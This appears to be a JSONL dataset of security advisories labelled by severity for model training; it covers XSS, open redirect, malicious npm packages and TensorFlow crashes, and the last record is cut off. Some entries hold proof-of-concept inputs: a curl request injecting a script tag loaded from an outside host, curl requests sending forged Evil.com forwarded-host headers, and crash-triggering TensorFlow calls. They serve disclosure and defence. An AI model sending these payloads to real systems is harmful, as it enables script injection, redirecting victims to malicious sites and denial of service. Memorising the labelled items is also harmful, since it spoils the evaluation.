-{"id": "30baa458895a5a6dc743", "text": "methodOverride Middleware Reflected Cross-Site Scripting in connect\n\nConnect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n###Example:\n```\n~ curl \"localhost:3000\" -d \"_method=<script src=http://nodesecurity.io/xss.js></script>\"\nCannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /\n```\n\n## Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.", "text_raw": "methodOverride Middleware Reflected Cross-Site Scripting in connect\n\n[Severity: LOW]\n\nConnect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n\n###Example:\n```\n~ curl \"localhost:3000\" -d \"_method=<script src=http://nodesecurity.io/xss.js></script>\"\nCannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /\n```\n\n## Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "8b43852ec3f9c640f891", "text": "Malicious Package in bitcionjs\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcionjs\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "33dc724bd4a7efdfc243", "text": "Cross-site scripting in PHPMailer\n\nPHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, CVE-2017-11503. The code_generator.phps example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project.\n\n### Impact\nPHPMailer 5.2.23 has XSS in the &quot;From Email Address&quot; and &quot;To Email Address&quot; fields of code_generator.php.\n\n### Patches\nFixed in 5.2.24\n\n### Workarounds\nNone.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-11503\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "Cross-site scripting in PHPMailer\n\n[Severity: MEDIUM]\n\nPHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, CVE-2017-11503. The code_generator.phps example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project.\n\n### Impact\nPHPMailer 5.2.23 has XSS in the &quot;From Email Address&quot; and &quot;To Email Address&quot; fields of code_generator.php.\n\n### Patches\nFixed in 5.2.24\n\n### Workarounds\nNone.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-11503\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "115bd69930a62229febe", "text": "Downloads Resources over HTTP in phantomjs-cheniu\n\nAffected versions of `phantomjs-cheniu` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `phantomjs-cheniu`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nAs this package is just a fork of Medium's [`phantomjs-prebuilt`](https://github.com/Medium/phantomjs) package, the best mitigation is currently to install the `Medium` version of [`phantomjs-prebuilt`](https://github.com/Medium/phantomjs). This can be done via the following command:\n```\nnpm i phantomjs-prebuilt\n```", "text_raw": "Downloads Resources over HTTP in phantomjs-cheniu\n\n[Severity: HIGH]\n\nAffected versions of `phantomjs-cheniu` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `phantomjs-cheniu`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nAs this package is just a fork of Medium's [`phantomjs-prebuilt`](https://github.com/Medium/phantomjs) package, the best mitigation is currently to install the `Medium` version of [`phantomjs-prebuilt`](https://github.com/Medium/phantomjs). This can be done via the following command:\n```\nnpm i phantomjs-prebuilt\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f9e3400b4da0ddac3a52", "text": "FaceSentry Access Control System 6.4.8 Reflected Cross-Site Scripting", "text_raw": "FaceSentry Access Control System 6.4.8 Reflected Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "5f4551f55912efeba781", "text": "Null pointer exception when `Exit` node is not preceded by `Enter` op\n\n### Impact\nThe [process of building the control flow graph](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/common_runtime/immutable_executor_state.cc#L284-L346) for a TensorFlow model is vulnerable to a null pointer exception when nodes that should be paired are not:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.Exit(data=[False,False])\n\nfunc()\n```\n\nThis occurs because the code assumes that the first node in the pairing (e.g., an `Enter` node) always exists when encountering the second node (e.g., an `Exit` node):\n\n```cc\n  ...\n} else if (IsExit(curr_node)) {\n  // Exit to the parent frame.\n  parent = parent_nodes[curr_id];         \n  frame_name = cf_info->frame_names[parent->id()];\n  ...                \n```\n\nWhen this is not the case, `parent` is `nullptr` so dereferencing it causes a crash.\n\n### Patches\nWe have patched the issue in GitHub commit [05cbebd3c6bb8f517a158b0155debb8df79017ff](https://github.com/tensorflow/tensorflow/commit/05cbebd3c6bb8f517a158b0155debb8df79017ff).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer exception when `Exit` node is not preceded by `Enter` op\n\n[Severity: MEDIUM]\n\n### Impact\nThe [process of building the control flow graph](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/common_runtime/immutable_executor_state.cc#L284-L346) for a TensorFlow model is vulnerable to a null pointer exception when nodes that should be paired are not:\n  \n```python\nimport tensorflow as tf\n  \n@tf.function\ndef func():\n  return tf.raw_ops.Exit(data=[False,False])\n    \nfunc()\n```\n\nThis occurs because the code assumes that the first node in the pairing (e.g., an `Enter` node) always exists when encountering the second node (e.g., an `Exit` node):\n  \n```cc\n  ...\n} else if (IsExit(curr_node)) {\n  // Exit to the parent frame.\n  parent = parent_nodes[curr_id];         \n  frame_name = cf_info->frame_names[parent->id()];\n  ...                \n```\n\nWhen this is not the case, `parent` is `nullptr` so dereferencing it causes a crash.\n\n### Patches\nWe have patched the issue in GitHub commit [05cbebd3c6bb8f517a158b0155debb8df79017ff](https://github.com/tensorflow/tensorflow/commit/05cbebd3c6bb8f517a158b0155debb8df79017ff).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "f4ed0ee281a8b6f056e9", "text": "Arbitrary code execution in ExifTool\n\n### Impact\n\nArbitrary code execution can occur when running `exiftool` against files with hostile metadata payloads.\n\n### Patches\n\nExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.\n\n### Workarounds\n\nNo.\n\n### References\n\nhttps://twitter.com/wcbowling/status/1385803927321415687\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-22204\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [exiftool-vendored](https://github.com/photostructure/exiftool-vendored.js)", "text_raw": "Arbitrary code execution in ExifTool\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary code execution can occur when running `exiftool` against files with hostile metadata payloads.\n\n### Patches\n\nExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.\n\n### Workarounds\n\nNo.\n\n### References\n\nhttps://twitter.com/wcbowling/status/1385803927321415687\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-22204\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [exiftool-vendored](https://github.com/photostructure/exiftool-vendored.js)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "0b9c08c989a1e6c62f97", "text": "Heap buffer overflow in Tensorflow\n\n### Impact\nThe `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117\n\nIn the sparse and ragged count weights are still accessed in parallel with the data:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L199-L201\n\nBut, since there is no validation, a user passing fewer weights than the values for the tensors can generate a read from outside the bounds of the heap buffer allocated for the weights.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "text_raw": "Heap buffer overflow in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117\n\nIn the sparse and ragged count weights are still accessed in parallel with the data:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L199-L201\n\nBut, since there is no validation, a user passing fewer weights than the values for the tensors can generate a read from outside the bounds of the heap buffer allocated for the weights.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "38a62545cd2bef796202", "text": "Cross-site Scripting in python-cjson\n\nPython-cjson 1.0.5 does not properly handle a ['/'] argument to cjson.encode, which makes it easier for remote attackers to conduct certain cross-site scripting (XSS) attacks involving Firefox and the end tag of a SCRIPT element.", "text_raw": "Cross-site Scripting in python-cjson\n\n[Severity: MEDIUM]\n\nPython-cjson 1.0.5 does not properly handle a ['/'] argument to cjson.encode, which makes it easier for remote attackers to conduct certain cross-site scripting (XSS) attacks involving Firefox and the end tag of a SCRIPT element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-06", "split": "train"}
-{"id": "74259293ef2793cea877", "text": "Cross-site Request Forgery (CSRF)\n\nCSRF in Bitly oauth2_proxy 2.1 during authentication flow", "text_raw": "Cross-site Request Forgery (CSRF)\n\n[Severity: HIGH]\n\nCSRF in Bitly oauth2_proxy 2.1 during authentication flow", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "675a1b8387b6503910c3", "text": "Improper certificate validation in org.apache.httpcomponents:httpclient\n\nhttp/conn/ssl/AbstractVerifier.java in Apache Commons HttpClient before 4.2.3 does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field. NOTE: this issue exists because of an incomplete fix for CVE-2012-5783.", "text_raw": "Improper certificate validation in org.apache.httpcomponents:httpclient\n\n[Severity: HIGH]\n\nhttp/conn/ssl/AbstractVerifier.java in Apache Commons HttpClient before 4.2.3 does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field. NOTE: this issue exists because of an incomplete fix for CVE-2012-5783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "b91e71bb014053953d1d", "text": "[Open Redirect] The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\n\nTitle:         The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\nScope:         https://github.com/rails/rails\nWeakness:      Open Redirect\n\nLink:          https://hackerone.com/reports/1189310\nDate:          2021-05-09 06:29:19 +0000\nBy:            @mshtawy\nCVE IDs:       CVE-2021-22942, CVE-2021-22881\n\nDetails:\n### Steps to reproduce\nThis is a follow up to  [CVE-2021-22881](https://github.com/advisories/GHSA-8877-prq4-9xfw) and  https://github.com/rails/rails/commit/83a6ac3fee8fd538ce7e0088913ff54f0f9bcb6f\n\nwith a controller like the following\n```ruby\nclass TestsController < ApplicationController\n  extend ActiveSupport::Concern\n\ndef index\n    redirect_to('/')\n  end\nend\n```\nwhen sending a request like the following where the URL has a mixed case characters \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: Evil.com'\n```\nOr all capital case \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: EVIL.COM'\n```\n\n### Expected behavior\n```html\n<div id=\"container\">\n  <h2>To allow requests to evil.com, add the following to your environment configuration:</h2>\n  <pre>config.hosts &lt;&lt; \"Evil.com\"</pre>\n</div>\n```\n\n### Actual behavior\n```html\n<html><body>You are being <a href=\"http://Evil.com/\">redirected</a>.</body></html>% \n```\n\n### System configuration\n**Rails version**: \nTested on Rails 6.1.3.1 and Rails 6.1.3.2\n**Ruby version**:\nN/A\n\n### Notes\n\nThis was fixed in `main` in this PR https://github.com/rails/rails/pull/41435 but still affects <= 6.1.3.1\n\nThe problem is in this code https://github.com/rails/rails/blob/6-1-stable/actionpack/lib/action_dispatch/middleware/host_authorization.rb#L115\n\n``` ruby\norigin_host = valid_host.match(\n  request.get_header(\"HTTP_HOST\").to_s.downcase)\nforwarded_host = valid_host.match(\n  request.x_forwarded_host.to_s.split(/,\\s?/).last)\n```\n\n`forwarded_host` is missing a `downcase` after the `.to_s`, which results in `nil` assigned to `forwarded_host`, which then results in `true` in the following  code\n```ruby\norigin_host && @permissions.allows?(origin_host[:host]) && (forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))\n```\nbecause of the `nil?` check on the `forwarded_host`\n```ruby\nforwarded_host.nil? || @permissions.allows?(forwarded_host[:host])\n```\n\nThe examples I gave are using `localhost`, but I also confirmed this using a production environment with a configuration like the following\n\n```ruby\n    Rails.application.config.hosts = %w(.EXAMPLE.com)\n```\n\n## Impact\n\nHackers can redirect victims to a malicious website.\n\nTimeline:\n2021-08-03 20:27:55 +0000: @tenderlove (bug triaged)\n\n---\n\n2021-09-07 20:30:35 +0000: @tenderlove (cve id added)\n\n---\n\n2021-10-05 20:37:19 +0000: @tenderlove (bug resolved)\n\n## Impact\n\nHackers can redirect victims to a malicious website.", "text_raw": "[Open Redirect] The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\n\nTitle:         The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\nScope:         https://github.com/rails/rails\nWeakness:      Open Redirect\nSeverity:      Medium\nLink:          https://hackerone.com/reports/1189310\nDate:          2021-05-09 06:29:19 +0000\nBy:            @mshtawy\nCVE IDs:       CVE-2021-22942, CVE-2021-22881\n\nDetails:\n### Steps to reproduce\nThis is a follow up to  [CVE-2021-22881](https://github.com/advisories/GHSA-8877-prq4-9xfw) and  https://github.com/rails/rails/commit/83a6ac3fee8fd538ce7e0088913ff54f0f9bcb6f\n\nwith a controller like the following\n```ruby\nclass TestsController < ApplicationController\n  extend ActiveSupport::Concern\n\n  def index\n    redirect_to('/')\n  end\nend\n```\nwhen sending a request like the following where the URL has a mixed case characters \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: Evil.com'\n```\nOr all capital case \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: EVIL.COM'\n```\n\n### Expected behavior\n```html\n<div id=\"container\">\n  <h2>To allow requests to evil.com, add the following to your environment configuration:</h2>\n  <pre>config.hosts &lt;&lt; \"Evil.com\"</pre>\n</div>\n```\n\n### Actual behavior\n```html\n<html><body>You are being <a href=\"http://Evil.com/\">redirected</a>.</body></html>% \n```\n\n### System configuration\n**Rails version**: \nTested on Rails 6.1.3.1 and Rails 6.1.3.2\n**Ruby version**:\nN/A\n\n### Notes\n\nThis was fixed in `main` in this PR https://github.com/rails/rails/pull/41435 but still affects <= 6.1.3.1 \n\nThe problem is in this code https://github.com/rails/rails/blob/6-1-stable/actionpack/lib/action_dispatch/middleware/host_authorization.rb#L115\n\n``` ruby\norigin_host = valid_host.match(\n  request.get_header(\"HTTP_HOST\").to_s.downcase)\nforwarded_host = valid_host.match(\n  request.x_forwarded_host.to_s.split(/,\\s?/).last)\n```\n\n`forwarded_host` is missing a `downcase` after the `.to_s`, which results in `nil` assigned to `forwarded_host`, which then results in `true` in the following  code\n```ruby\norigin_host && @permissions.allows?(origin_host[:host]) && (forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))\n```\nbecause of the `nil?` check on the `forwarded_host`\n```ruby\nforwarded_host.nil? || @permissions.allows?(forwarded_host[:host])\n```\n\nThe examples I gave are using `localhost`, but I also confirmed this using a production environment with a configuration like the following\n\n```ruby\n    Rails.application.config.hosts = %w(.EXAMPLE.com)\n```\n\n## Impact\n\nHackers can redirect victims to a malicious website.\n\nTimeline:\n2021-08-03 20:27:55 +0000: @tenderlove (bug triaged)\n\n\n---\n\n2021-09-07 20:30:35 +0000: @tenderlove (cve id added)\n\n\n---\n\n2021-10-05 20:37:19 +0000: @tenderlove (bug resolved)\n\n## Impact\n\nHackers can redirect victims to a malicious website.", "severity": "medium", "severity_label": 1, "source": "hackerone", "timestamp": "2021-11-18", "split": "train"}
-{"id": "3535605b4ea956bda4af", "text": "V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation", "text_raw": "V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-09-26", "split": "train"}
-{"id": "101056b790a46ad2c837", "text": "Crash in `tf.math.segment_*` operations\n\n### Impact\nThe implementation of `tf.math.segment_*` operations results in a `CHECK`-fail related abort (and denial of service) if a segment id in `segment_ids` is large.\n\n```python\nimport tensorflow as tf\n\ntf.math.segment_max(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_min(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_mean(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])    \ntf.math.segment_sum(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_prod(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\n```\n\nThis is similar to [CVE-2021-29584](https://github.com/tensorflow/tensorflow/blob/3a74f0307236fe206b046689c4d76f57c9b74eee/tensorflow/security/advisory/tfsa-2021-071.md) (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs): the [implementation](https://github.com/tensorflow/tensorflow/blob/dae66e518c88de9c11718cd0f8f40a0b666a90a0/tensorflow/core/kernels/segment_reduction_ops_impl.h) (both on CPU and GPU) computes the output shape using [`AddDim`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L395-L408). However, if the number of elements in the tensor overflows an `int64_t` value, `AddDim` results in a `CHECK` failure which provokes a `std::abort`. Instead, code should use [`AddDimWithStatus`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L410-L440).\n\n### Patches\nWe have patched the issue in GitHub commit [e9c81c1e1a9cd8dd31f4e83676cab61b60658429](https://github.com/tensorflow/tensorflow/commit/e9c81c1e1a9cd8dd31f4e83676cab61b60658429) (merging [#51733](https://github.com/tensorflow/tensorflow/pull/51733)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46888).", "text_raw": "Crash in `tf.math.segment_*` operations\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.math.segment_*` operations results in a `CHECK`-fail related abort (and denial of service) if a segment id in `segment_ids` is large.\n\n```python\nimport tensorflow as tf\n\ntf.math.segment_max(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_min(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_mean(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])    \ntf.math.segment_sum(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\ntf.math.segment_prod(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])\n```\n\nThis is similar to [CVE-2021-29584](https://github.com/tensorflow/tensorflow/blob/3a74f0307236fe206b046689c4d76f57c9b74eee/tensorflow/security/advisory/tfsa-2021-071.md) (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs): the [implementation](https://github.com/tensorflow/tensorflow/blob/dae66e518c88de9c11718cd0f8f40a0b666a90a0/tensorflow/core/kernels/segment_reduction_ops_impl.h) (both on CPU and GPU) computes the output shape using [`AddDim`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L395-L408). However, if the number of elements in the tensor overflows an `int64_t` value, `AddDim` results in a `CHECK` failure which provokes a `std::abort`. Instead, code should use [`AddDimWithStatus`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L410-L440).\n\n\n### Patches\nWe have patched the issue in GitHub commit [e9c81c1e1a9cd8dd31f4e83676cab61b60658429](https://github.com/tensorflow/tensorflow/commit/e9c81c1e1a9cd8dd31f4e83676cab61b60658429) (merging [#51733](https://github.com/tensorflow/tensorflow/pull/51733)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.      \n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.     \n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46888).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "9db1013753a53065727b", "text": "Versions of Apache CXF Fediz prior to 1.4.4 do not fully disable Document Type Declarations (DTDs) when either parsing the Identity Provider response in the application plugins, or in the Identity Provider itself when parsing certain XML-based parameters.", "text_raw": "High severity vulnerability that affects org.apache.cxf.fediz:fediz-jetty8, org.apache.cxf.fediz:fediz-jetty9, org.apache.cxf.fediz:fediz-spring, org.apache.cxf.fediz:fediz-spring2, and org.apache.cxf.fediz:fediz-spring3\n\n[Severity: HIGH]\n\nVersions of Apache CXF Fediz prior to 1.4.4 do not fully disable Document Type Declarations (DTDs) when either parsing the Identity Provider response in the application plugins, or in the Identity Provider itself when parsing certain XML-based parameters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "f7dcab4352eab39f6765", "text": "Cross-Site Scripting in Grav\n\n### Impact\nPrivileged users (with the ability to edit pages) have a mechanism to perform remote code execution via XSS. At a minimum, the vulnerability represents a bypass of security controls put in place to mitigate this form of attack.\n\nThe remote code execution can be performed because XSS would allow an attacker to execute functionality on behalf of a stolen administrative account - the facility to install custom plugins would then allow said attacker to install a plugin containing a web shell and thus garner access to the underlying system.\n\n### References\nhttps://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)\nhttps://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\nhttps://cwe.mitre.org/data/definitions/79.html\n\n### For more information\nPlease contact contact@pentest.co.uk", "text_raw": "Cross-Site Scripting in Grav\n\n[Severity: MEDIUM]\n\n### Impact\nPrivileged users (with the ability to edit pages) have a mechanism to perform remote code execution via XSS. At a minimum, the vulnerability represents a bypass of security controls put in place to mitigate this form of attack.\n\nThe remote code execution can be performed because XSS would allow an attacker to execute functionality on behalf of a stolen administrative account - the facility to install custom plugins would then allow said attacker to install a plugin containing a web shell and thus garner access to the underlying system.\n\n### References\nhttps://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)\nhttps://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\nhttps://cwe.mitre.org/data/definitions/79.html\n\n### For more information\nPlease contact contact@pentest.co.uk", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "8f53cf76c7b5a700c72c", "text": "SQL injection in prestashop/prestashop\n\n### Impact\nBlind SQLi using Search filters with `orderBy` and `sortOrder` parameters\n\n### Patches\nThe problem is fixed in 1.7.8.2", "text_raw": "SQL injection in prestashop/prestashop\n\n[Severity: HIGH]\n\n### Impact\nBlind SQLi using Search filters with `orderBy` and `sortOrder` parameters\n\n### Patches\nThe problem is fixed in 1.7.8.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "31616d69d7b40e9d751f", "text": "Downloads Resources over HTTP in openframe-image\n\nAffected versions of `openframe-image` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in openframe-image\n\n[Severity: HIGH]\n\nAffected versions of `openframe-image` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this 